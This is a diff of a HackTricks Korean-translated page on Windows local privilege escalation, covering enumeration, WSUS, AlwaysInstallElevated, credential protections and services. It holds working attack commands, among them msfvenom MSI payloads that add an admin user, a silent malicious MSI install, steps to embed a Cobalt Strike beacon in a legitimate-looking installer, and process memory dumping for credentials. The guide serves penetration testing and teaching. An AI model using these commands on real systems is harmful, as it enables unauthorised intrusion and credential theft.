../../banners/hacktricks-training.md}} -### **Windows 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation vectors를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## 초기 Windows 이론 -### 액세스 토큰 +### Access Tokens -**Windows 액세스 토큰이 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽으세요:** +**Windows Access Tokens가 무엇인지 모른다면 계속하기 전에 다음 페이지를 읽으세요:** {{#ref}} @@ -17,25 +17,25 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**ACLs - DACLs/SACLs/ACEs에 대한 더 많은 정보는 다음 페이지를 확인하세요:** +**ACLs - DACLs/SACLs/ACEs에 대한 자세한 정보는 다음 페이지를 확인하세요:** {{#ref}} acls-dacls-sacls-aces.md {{#endref}} -### 무결성 수준 +### Integrity Levels -**Windows에서 무결성 수준이 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽어야 합니다:** +**Windows의 integrity levels가 무엇인지 모른다면 계속하기 전에 다음 페이지를 읽으세요:** {{#ref}} integrity-levels.md {{#endref}} -## Windows 보안 제어 +## Windows 보안 컨트롤 -Windows에는 **시스템을 열거하는 것을 방지**하거나 실행 파일을 실행하거나 **활동을 감지하는** 다양한 요소가 있습니다. 권한 상승 열거를 시작하기 전에 **다음 페이지를 읽고** 모든 **방어 메커니즘**을 **열거**해야 합니다: +Windows에는 시스템을 열거하는 것을 방해하거나 실행 파일 실행을 차단하거나 심지어 활동을 탐지할 수 있는 다양한 요소가 있습니다. privilege escalation enumeration을 시작하기 전에 다음 페이지를 읽고 이러한 방어 메커니즘을 모두 열거하세요: {{#ref}} @@ -46,7 +46,7 @@ Windows에는 **시스템을 열거하는 것을 방지**하거나 실행 파일 ### 버전 정보 열거 -Windows 버전이 알려진 취약점이 있는지 확인하세요(적용된 패치도 확인하세요). +Windows 버전이 알려진 취약점을 가지고 있는지 확인하세요(적용된 패치도 함께 확인하세요). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,31 +59,31 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Version Exploits +### 버전 Exploits -이 [사이트](https://msrc.microsoft.com/update-guide/vulnerability)는 Microsoft 보안 취약점에 대한 자세한 정보를 검색하는 데 유용합니다. 이 데이터베이스에는 4,700개 이상의 보안 취약점이 있으며, Windows 환경이 제공하는 **대규모 공격 표면**을 보여줍니다. +이 [site](https://msrc.microsoft.com/update-guide/vulnerability)는 Microsoft 보안 취약점에 대한 상세 정보를 찾는 데 유용합니다. 이 데이터베이스에는 4,700개가 넘는 보안 취약점이 기록되어 있으며, 이는 Windows 환경이 가진 **방대한 공격 표면**을 보여줍니다. **시스템에서** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas에는 watson이 내장되어 있습니다)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas에는 watson이 포함되어 있습니다)_ -**시스템 정보로 로컬에서** +로컬(시스템 정보 기반) - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**익스플로잇의 Github 리포지토리:** +Github의 exploits 저장소: - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Environment +### 환경 -환경 변수에 저장된 자격 증명/유용한 정보가 있습니까? +환경 변수(env variables)에 자격 증명/민감한 정보가 저장되어 있나요? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell 전사 파일 +### PowerShell 트랜스크립트 파일 -이 기능을 활성화하는 방법은 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)에서 확인할 수 있습니다. +이 설정을 켜는 방법은 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)에서 확인할 수 있습니다. ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -114,31 +114,31 @@ dir C:\Transcripts Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber Stop-Transcript ``` -### PowerShell 모듈 로깅 +### PowerShell Module Logging -PowerShell 파이프라인 실행의 세부 사항이 기록되며, 실행된 명령, 명령 호출 및 스크립트의 일부가 포함됩니다. 그러나 전체 실행 세부 사항 및 출력 결과는 캡처되지 않을 수 있습니다. +PowerShell 파이프라인 실행의 세부 정보가 기록되며, 실행된 명령, 명령 호출 및 스크립트의 일부가 포함됩니다. 다만 전체 실행 세부 정보와 출력 결과는 모두 캡처되지 않을 수 있습니다. -이를 활성화하려면 문서의 "전사 파일" 섹션의 지침을 따르고 **"모듈 로깅"**을 선택하십시오. **"Powershell 전사"** 대신에. +이 기능을 활성화하려면 문서의 "Transcript files" 섹션에 있는 지침을 따르되 **"Module Logging"**을 선택하고 **"Powershell Transcription"** 대신 사용하세요. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell 로그에서 마지막 15개의 이벤트를 보려면 다음을 실행할 수 있습니다: +PowersShell 로그에서 마지막 15개 이벤트를 보려면 다음을 실행할 수 있습니다: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -스크립트 실행의 전체 활동 및 전체 콘텐츠 기록이 캡처되어, 실행되는 각 코드 블록이 문서화됩니다. 이 프로세스는 각 활동의 포괄적인 감사 추적을 보존하여 포렌식 및 악의적인 행동 분석에 유용합니다. 실행 시 모든 활동을 문서화함으로써 프로세스에 대한 자세한 통찰력을 제공합니다. +스크립트 실행의 전 활동 및 전체 내용이 기록되어 코드의 각 블록이 실행될 때마다 문서화되도록 보장합니다. 이 과정은 각 활동에 대한 포괄적인 감사 추적을 보존하여 포렌식 및 악성 행위 분석에 유용합니다. 실행 시점의 모든 활동을 문서화함으로써 프로세스에 대한 상세한 통찰을 제공합니다. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -스크립트 블록에 대한 로그 이벤트는 Windows 이벤트 뷰어의 경로 **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**에서 찾을 수 있습니다.\ +Script Block의 로깅 이벤트는 Windows Event Viewer에서 다음 경로에 있습니다: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ 마지막 20개의 이벤트를 보려면 다음을 사용할 수 있습니다: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -시스템을 손상시킬 수 있습니다. 업데이트가 http가 아닌 http**S**를 사용하여 요청되지 않는 경우입니다. +업데이트가 http**S**가 아니라 http로 요청되는 경우 시스템을 침해할 수 있습니다. -cmd에서 다음을 실행하여 네트워크가 비 SSL WSUS 업데이트를 사용하는지 확인합니다: +먼저 네트워크가 SSL을 사용하지 않는 WSUS 업데이트를 사용하는지 확인하려면 cmd에서 다음을 실행합니다: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -다음은 PowerShell에서: +또는 PowerShell에서 다음과 같이: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -이러한 답변을 받으면: +다음과 같은 응답을 받으면: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -그리고 `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` 또는 `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"`가 `1`과 같다면, +And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -그렇다면, **악용 가능하다.** 마지막 레지스트리가 0과 같다면, WSUS 항목은 무시될 것이다. +Then, **취약합니다.** If the last registry is equals to 0, then, the WSUS entry will be ignored. -이 취약점을 악용하기 위해서는 다음과 같은 도구를 사용할 수 있다: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 이는 비SSL WSUS 트래픽에 '가짜' 업데이트를 주입하기 위한 MiTM 무기화된 익스플로잇 스크립트이다. +이 취약점을 악용하려면 다음과 같은 도구를 사용할 수 있습니다: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 이들은 MiTM로 동작하는 익스플로잇 스크립트로, 비-SSL WSUS 트래픽에 '가짜' 업데이트를 주입합니다. -여기에서 연구를 읽어보세요: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,31 +194,31 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**전체 보고서를 여기에서 읽어보세요**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -기본적으로, 이 버그가 악용하는 결함은 다음과 같다: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +기본적으로, 이 버그가 악용하는 결함은 다음과 같습니다: -> 우리가 로컬 사용자 프록시를 수정할 수 있는 권한이 있고, Windows 업데이트가 Internet Explorer의 설정에 구성된 프록시를 사용한다면, 우리는 [PyWSUS](https://github.com/GoSecure/pywsus)를 로컬에서 실행하여 자신의 트래픽을 가로채고 자산에서 상승된 사용자로서 코드를 실행할 수 있는 권한을 가지게 된다. +> 로컬 사용자 프록시를 수정할 수 있는 권한이 있고, Windows Updates가 Internet Explorer의 설정에 구성된 프록시를 사용한다면, 우리는 [PyWSUS](https://github.com/GoSecure/pywsus)를 로컬에서 실행해 자신의 트래픽을 가로채고 자산에서 권한 상승된 사용자로서 코드를 실행할 수 있는 권한을 가지게 됩니다. > -> 게다가, WSUS 서비스는 현재 사용자의 설정을 사용하므로, 현재 사용자의 인증서 저장소도 사용할 것이다. WSUS 호스트 이름에 대해 자체 서명된 인증서를 생성하고 이 인증서를 현재 사용자의 인증서 저장소에 추가하면, HTTP 및 HTTPS WSUS 트래픽을 모두 가로챌 수 있게 된다. WSUS는 인증서에 대한 신뢰-첫-사용 유형 검증을 구현하기 위해 HSTS와 유사한 메커니즘을 사용하지 않는다. 제시된 인증서가 사용자에 의해 신뢰되고 올바른 호스트 이름을 가지고 있다면, 서비스에 의해 수용될 것이다. +> 또한 WSUS 서비스가 현재 사용자의 설정을 사용하므로 해당 사용자의 인증서 저장소도 사용합니다. WSUS 호스트명에 대한 자체 서명 인증서를 생성하여 이를 현재 사용자의 인증서 저장소에 추가하면 HTTP와 HTTPS WSUS 트래픽을 모두 가로챌 수 있습니다. WSUS는 인증서에 대해 HSTS와 유사한 메커니즘을 사용하여 trust-on-first-use 유형의 검증을 구현하지 않습니다. 제시된 인증서가 사용자에 의해 신뢰되고 올바른 호스트명을 가지면 서비스에서 이를 수용합니다. -이 취약점을 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 도구를 사용하여 악용할 수 있다 (해방되면). +You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). ## KrbRelayUp -**로컬 권한 상승** 취약점이 특정 조건 하에 Windows **도메인** 환경에 존재한다. 이러한 조건에는 **LDAP 서명이 시행되지 않는** 환경, 사용자가 **리소스 기반 제약 위임(RBCD)**을 구성할 수 있는 자기 권한을 가지며, 사용자가 도메인 내에서 컴퓨터를 생성할 수 있는 능력이 포함된다. 이러한 **요구 사항**은 **기본 설정**을 사용하여 충족된다는 점에 유의해야 한다. +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. -**악용을 찾으려면** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)에서 확인하세요. +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -공격 흐름에 대한 자세한 정보는 [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)를 확인하세요. +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**이** 2개의 레지스터가 **활성화**되어 있다면 (값이 **0x1**), 모든 권한의 사용자가 NT AUTHORITY\\**SYSTEM**으로 `*.msi` 파일을 **설치**(실행)할 수 있다. +**만약** 이 두 레지스트리 항목이 **활성화되어** (값이 **0x1**) 있다면, 모든 권한을 가진 사용자는 `*.msi` 파일을 NT AUTHORITY\\**SYSTEM** 권한으로 **설치**(실행)할 수 있습니다. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` -### 메타스플로잇 페이로드 +### Metasploit payloads ```bash msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted @@ -227,15 +227,16 @@ If you have a meterpreter session you can automate this technique using the modu ### PowerUP -`Write-UserAddMSI` 명령을 사용하여 현재 디렉토리 내에 권한 상승을 위한 Windows MSI 바이너리를 생성합니다. 이 스크립트는 사용자/그룹 추가를 요청하는 미리 컴파일된 MSI 설치 프로그램을 작성합니다(따라서 GIU 접근이 필요합니다): +power-up의 `Write-UserAddMSI` 명령을 사용하여 현재 디렉토리에 권한 상승을 위한 Windows MSI 바이너리를 생성합니다. 이 스크립트는 사용자/그룹 추가를 요청하는 미리 컴파일된 MSI 설치 파일을 출력합니다 (따라서 GIU 접근이 필요합니다): ``` Write-UserAddMSI ``` -Just execute the created binary to escalate privileges. +생성된 바이너리를 실행하여 권한을 상승시키세요. ### MSI Wrapper -이 튜토리얼을 읽고 이 도구를 사용하여 MSI 래퍼를 만드는 방법을 배우세요. **명령줄**을 **실행**하려는 경우 "**.bat**" 파일을 래핑할 수 있습니다. +이 튜토리얼을 읽어 MSI Wrapper를 만드는 방법을 배우세요. 단, 단순히 **.bat** 파일을 래핑하여 **execute** **command lines**만 하려는 경우에도 가능합니다. + {{#ref}} msi-wrapper.md @@ -243,50 +244,52 @@ msi-wrapper.md ### Create MSI with WIX + {{#ref}} create-msi-with-wix.md {{#endref}} ### Create MSI with Visual Studio -- **Cobalt Strike** 또는 **Metasploit**를 사용하여 `C:\privesc\beacon.exe`에 **새 Windows EXE TCP 페이로드**를 **생성**합니다. -- **Visual Studio**를 열고 **새 프로젝트 만들기**를 선택한 후 검색 상자에 "installer"를 입력합니다. **Setup Wizard** 프로젝트를 선택하고 **Next**를 클릭합니다. -- 프로젝트 이름을 **AlwaysPrivesc**로 지정하고 위치에 **`C:\privesc`**를 사용하며, **솔루션과 프로젝트를 동일한 디렉터리에 배치**를 선택하고 **Create**를 클릭합니다. -- **Next**를 계속 클릭하여 4단계 중 3단계(포함할 파일 선택)에 도달합니다. **Add**를 클릭하고 방금 생성한 Beacon 페이로드를 선택합니다. 그런 다음 **Finish**를 클릭합니다. -- **Solution Explorer**에서 **AlwaysPrivesc** 프로젝트를 강조 표시하고 **Properties**에서 **TargetPlatform**을 **x86**에서 **x64**로 변경합니다. -- 설치된 앱이 더 합법적으로 보이도록 **Author** 및 **Manufacturer**와 같은 다른 속성을 변경할 수 있습니다. -- 프로젝트를 마우스 오른쪽 버튼으로 클릭하고 **View > Custom Actions**를 선택합니다. -- **Install**을 마우스 오른쪽 버튼으로 클릭하고 **Add Custom Action**을 선택합니다. -- **Application Folder**를 두 번 클릭하고 **beacon.exe** 파일을 선택한 후 **OK**를 클릭합니다. 이렇게 하면 설치 프로그램이 실행될 때 비콘 페이로드가 즉시 실행됩니다. -- **Custom Action Properties**에서 **Run64Bit**를 **True**로 변경합니다. -- 마지막으로 **빌드**합니다. -- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` 경고가 표시되면 플랫폼을 x64로 설정했는지 확인합니다. +- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**. +- Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. +- Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**. +- Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**. +- There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate. +- Right-click the project and select **View > Custom Actions**. +- Right-click **Install** and select **Add Custom Action**. +- Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run. +- Under the **Custom Action Properties**, change **Run64Bit** to **True**. +- Finally, **빌드하세요**. +- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. ### MSI Installation -악성 `.msi` 파일의 **설치**를 **백그라운드**에서 실행하려면: +악성 `.msi` 파일을 **백그라운드**에서 설치하려면: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -이 취약점을 악용하기 위해 다음을 사용할 수 있습니다: _exploit/windows/local/always_install_elevated_ +이 취약점을 악용하려면 다음을 사용할 수 있습니다: _exploit/windows/local/always_install_elevated_ ## 안티바이러스 및 탐지기 ### 감사 설정 -이 설정은 무엇이 **로그**되는지를 결정하므로 주의해야 합니다. +이 설정은 무엇이 **로그에 기록되는지**를 결정하므로 주의해야 합니다 ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding는 로그가 어디로 전송되는지 아는 것이 흥미롭습니다. +Windows Event Forwarding는 logs가 어디로 전송되는지 아는 것이 흥미롭습니다. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS**는 **로컬 관리자 비밀번호 관리**를 위해 설계되었으며, 각 비밀번호가 **고유하고 무작위이며 정기적으로 업데이트**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 안전하게 저장되며, ACL을 통해 충분한 권한이 부여된 사용자만 접근할 수 있어, 권한이 있는 경우 로컬 관리자 비밀번호를 볼 수 있습니다. +**LAPS**는 도메인에 가입된 컴퓨터에서 **local Administrator passwords**의 **관리를 위해 설계**되었으며, 각 비밀번호가 **고유하고 무작위이며 정기적으로 갱신**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 안전하게 저장되며 ACLs를 통해 충분한 권한이 부여된 사용자만 접근하여 권한이 있을 때 local admin passwords를 확인할 수 있습니다. + {{#ref}} ../active-directory-methodology/laps.md @@ -294,36 +297,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -활성화된 경우, **평문 비밀번호는 LSASS**(로컬 보안 권한 하위 시스템 서비스)에 저장됩니다.\ -[**이 페이지에서 WDigest에 대한 더 많은 정보**](../stealing-credentials/credentials-protections.md#wdigest). +활성화되어 있으면, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ +[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA 보호 +### LSA Protection -**Windows 8.1**부터 Microsoft는 로컬 보안 권한(LSA)에 대한 향상된 보호 기능을 도입하여 **신뢰할 수 없는 프로세스**가 **메모리를 읽거나** 코드를 주입하려는 시도를 **차단**하여 시스템을 더욱 안전하게 만들었습니다.\ -[**LSA 보호에 대한 자세한 정보는 여기에서 확인하세요**](../stealing-credentials/credentials-protections.md#lsa-protection). +**Windows 8.1**부터 Microsoft는 Local Security Authority (LSA)에 대한 보호를 강화하여 신뢰할 수 없는 프로세스가 **메모리를 읽거나** 코드를 주입하려는 시도를 **차단**함으로써 시스템을 더욱 안전하게 만들었습니다.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard**는 **Windows 10**에서 도입되었습니다. 그 목적은 패스-더-해시 공격과 같은 위협으로부터 장치에 저장된 자격 증명을 보호하는 것입니다.| [**자격 증명 가드에 대한 자세한 정보는 여기에서 확인하세요.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard**는 **Windows 10**에서 도입되었습니다. 이 기능의 목적은 장치에 저장된 credentials을 pass-the-hash 공격과 같은 위협으로부터 보호하는 것입니다.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### 캐시된 자격 증명 -**도메인 자격 증명**은 **로컬 보안 권한**(LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그인 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 사용자의 도메인 자격 증명이 설정됩니다.\ -[**캐시된 자격 증명에 대한 자세한 정보는 여기**](../stealing-credentials/credentials-protections.md#cached-credentials)에서 확인하세요. +**도메인 자격 증명**은 **로컬 보안 권한** (LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그온 데이터가 등록된 보안 패키지에 의해 인증되면, 해당 사용자에 대한 도메인 자격 증명이 일반적으로 생성됩니다.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Users & Groups +## 사용자 및 그룹 -### Enumerate Users & Groups +### 사용자 및 그룹 열거 -당신이 속한 그룹 중에 흥미로운 권한이 있는지 확인해야 합니다. +자신이 속한 그룹 중 흥미로운 권한을 가진 그룹이 있는지 확인하세요. ```bash # CMD net users %username% #Me @@ -338,26 +341,26 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -### Privileged groups +### 권한 있는 그룹 -당신이 **특권 그룹에 속한다면 권한 상승을 할 수 있습니다**. 특권 그룹에 대해 배우고 이를 악용하여 권한을 상승시키는 방법은 여기에서 확인하세요: +만약 당신이 **어떤 특권 그룹에 속해 있다면 권한 상승이 가능할 수 있습니다**. 여기에서 특권 그룹과 이를 악용해 권한을 상승시키는 방법을 알아보세요: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token manipulation +### 토큰 조작 -**더 알아보세요** 이 페이지에서 **토큰**이 무엇인지: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -다음 페이지를 확인하여 **흥미로운 토큰에 대해 배우고** 이를 악용하는 방법을 알아보세요: +**자세히 알아보기**: 이 페이지에서 **토큰**이 무엇인지 확인하세요: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +다음 페이지를 확인하여 **흥미로운 토큰**에 대해 알아보고 이를 악용하는 방법을 확인하세요: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Logged users / Sessions +### 로그인된 사용자 / 세션 ```bash qwinsta klist sessions @@ -371,7 +374,7 @@ Get-ChildItem C:\Users ```bash net accounts ``` -### 클립보드의 내용 가져오기 +### 클립보드 내용 가져오기 ```bash powershell -command "Get-Clipboard" ``` @@ -379,8 +382,8 @@ powershell -command "Get-Clipboard" ### 파일 및 폴더 권한 -우선, 프로세스를 나열하여 **프로세스의 명령줄에 있는 비밀번호를 확인**합니다.\ -**실행 중인 일부 바이너리를 덮어쓸 수 있는지** 또는 바이너리 폴더에 대한 쓰기 권한이 있는지 확인하여 가능한 [**DLL Hijacking 공격**](dll-hijacking/index.html)을 활용합니다: +무엇보다도, 프로세스를 나열할 때 **프로세스의 명령줄에서 비밀번호를 확인**하세요.\ +실행 중인 일부 바이너리를 **overwrite some binary running**할 수 있는지 또는 binary folder에 쓰기 권한이 있어 가능한 [**DLL Hijacking attacks**](dll-hijacking/index.html)를 악용할 수 있는지 확인하세요: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -391,7 +394,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -항상 가능한 [**electron/cef/chromium 디버거**가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +항상 [**electron/cef/chromium debuggers**가 실행 중인지 확인하세요. 이를 악용하여 escalate privileges할 수 있습니다](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **프로세스 바이너리의 권한 확인** ```bash @@ -402,7 +405,7 @@ icacls "%%z" ) ) ``` -**프로세스 바이너리의 폴더 권한 확인 (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**프로세스 바이너리 폴더의 권한 확인 (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -410,21 +413,21 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### 메모리 비밀번호 채굴 +### Memory Password mining -**procdump**를 사용하여 실행 중인 프로세스의 메모리 덤프를 생성할 수 있습니다. FTP와 같은 서비스는 **메모리에 평문으로 자격 증명을 저장**하므로, 메모리를 덤프하고 자격 증명을 읽어보세요. +sysinternals의 **procdump**를 사용해 실행 중인 프로세스의 메모리 덤프를 생성할 수 있습니다. FTP 같은 서비스는 메모리에 **credentials in clear text in memory**를 보관하는 경우가 있으니, 메모리를 덤프하여 해당 credentials를 읽어보세요. ```bash procdump.exe -accepteula -ma ``` -### Insecure GUI apps +### 취약한 GUI 앱 -**SYSTEM으로 실행되는 애플리케이션은 사용자가 CMD를 실행하거나 디렉토리를 탐색할 수 있도록 허용할 수 있습니다.** +**SYSTEM 권한으로 실행되는 애플리케이션은 사용자가 CMD를 실행하거나 디렉터리를 탐색할 수 있게 허용할 수 있습니다.** -예: "Windows 도움말 및 지원" (Windows + F1), "명령 프롬프트" 검색, "명령 프롬프트 열기 클릭" 클릭 +예: "Windows Help and Support" (Windows + F1), "command prompt" 검색, "Click to open Command Prompt" 클릭 -## Services +## 서비스 -서비스 목록 가져오기: +서비스 목록을 가져옵니다: ```bash net start wmic service list brief @@ -433,44 +436,45 @@ Get-Service ``` ### 권한 -You can use **sc** to get information of a service +서비스에 대한 정보를 얻기 위해 **sc**를 사용할 수 있습니다 ```bash sc qc ``` -각 